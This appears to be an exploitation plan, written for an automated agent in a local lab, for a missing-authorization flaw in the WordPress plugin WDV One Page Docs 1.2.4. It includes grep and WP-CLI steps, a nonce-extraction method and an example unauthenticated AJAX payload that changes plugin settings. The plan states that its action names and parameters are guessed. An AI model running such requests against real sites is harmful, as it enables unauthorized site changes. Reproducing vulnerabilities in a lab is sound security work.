WDV One Page Docs <= 1.2.4 - Missing Authorization

Since the source code for wdv-one-page-docs version 1.2.4 is not provided, this research plan is designed to guide an automated agent through the discovery and exploitation of the "Missing Authorization" vulnerability (CVE-2025-68896).

1. Vulnerability Summary

The WDV One Page Docs plugin (<= 1.2.4) contains a vulnerability where a sensitive function is exposed via a WordPress AJAX or initialization hook without proper capability checks (current_user_can()). This allows unauthenticated attackers to trigger actions that should be restricted to administrators or editors. Given the plugin's nature (One Page Documentation), the vulnerability likely resides in an action that manages document structure, settings, or content updates.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php (for AJAX-based actions) or index.php (for init/admin_init based actions).
• Vulnerable Hook (Inferred): A wp_ajax_nopriv_ action or a function hooked to init/admin_init that processes $_POST or $_GET data.
• Payload Parameter: Likely an action parameter for AJAX, accompanied by data parameters (e.g., doc_id, settings, content, order).
• Preconditions: The plugin must be active. Some actions may require an existing "Document" ID to manipulate.

3. Code Flow (Discovery Phase)

The agent must first identify the vulnerable function by tracing from entry points to sinks:

1. Entry Point Identification:
   Search for all unauthenticated AJAX registrations:
   grep -rn "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/wdv-one-page-docs/
2. Authorization Audit:
   For each handler function found, check for the presence of:
   • current_user_can(...) (Missing in this vulnerability).
   • check_ajax_referer(...) or wp_verify_nonce(...).
3. Sink Identification:
   Look for functions inside those handlers that modify state:
   • update_option(...) (Settings modification).
   • wp_update_post(...) or wp_insert_post(...) (Content modification).
   • $wpdb->query(...) or $wpdb->update(...).
   • update_post_meta(...).

4. Nonce Acquisition Strategy

If the identified handler calls check_ajax_referer but lacks a capability check, a nonce is required.

1. Identify Nonce Action: Locate the wp_create_nonce('action_string') call in the plugin source to find the action name.
2. Locate Localization: Find where the nonce is passed to the frontend:
   grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/wdv-one-page-docs/
3. Identify Triggering Shortcode:
   Check grep -rn "add_shortcode" /var/www/html/wp-content/plugins/wdv-one-page-docs/. The most likely shortcode is [wdv-one-page-docs].
4. Extract via Browser:
   • Create a page: wp post create --post_type=page --post_status=publish --post_content='[wdv-one-page-docs]' --post_title='Docs'
   • Navigate to the page using browser_navigate.
   • Use browser_eval to extract the nonce: browser_eval("window.wdv_obj?.nonce") (Replace wdv_obj and nonce with actual keys found in wp_localize_script).

5. Exploitation Strategy

Assuming the vulnerability is in an AJAX handler that saves plugin settings (a common target for "Missing Authorization"):

• Step 1: Identify the vulnerable action name (e.g., wdv_save_settings).
• Step 2: Construct the POST request using http_request.
• Target URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Payload (Example):

  action=wdv_save_settings&nonce=EXTRACTED_NONCE&wdv_options[users_can_edit]=1&wdv_options[allow_registration]=1
  

  (Note: Parameters must be derived from the actual code found in the plugin).

6. Test Data Setup

1. Install Plugin: Ensure wdv-one-page-docs v1.2.4 is installed and activated.
2. Create Initial Content:

   # Create a documentation post (post_type may be custom, check plugin)
   wp post create --post_type=wdv_doc --post_title="Test Doc" --post_status=publish
   

3. Identify Custom Post Type:
   grep -r "register_post_type" /var/www/html/wp-content/plugins/wdv-one-page-docs/ to confirm if it uses post, page, or a custom type like wdv_doc.

7. Expected Results

• Response: The HTTP response should be 200 OK or 302 Redirect (depending on implementation), and often returns a JSON success message like {"success":true}.
• State Change: The database state (options or post content) is modified despite the request being unauthenticated.

8. Verification Steps

After sending the exploit request, verify the impact using WP-CLI:

1. Check Options: If the exploit targeted settings:
   wp option get wdv_settings
2. Check Post Content/Meta: If the exploit targeted a document:
   wp post get <ID> or wp post meta list <ID>
3. Check Database Directly:
   wp db query "SELECT * FROM wp_options WHERE option_name LIKE 'wdv_%'"

9. Alternative Approaches

If no wp_ajax_nopriv_ hooks are found:

• Check init or admin_init: Search for functions that check $_POST['wdv_action'] or similar inside an init hook. These hooks run on every page load (including the frontend for init).
• Grep Pattern: grep -r "add_action.*init" . | xargs grep "_POST"
• File Uploads: Check for any AJAX handlers performing file operations (e.g., wdv_upload_icon) which might allow for arbitrary file upload if authorization is missing. Look for move_uploaded_file or WP_Filesystem.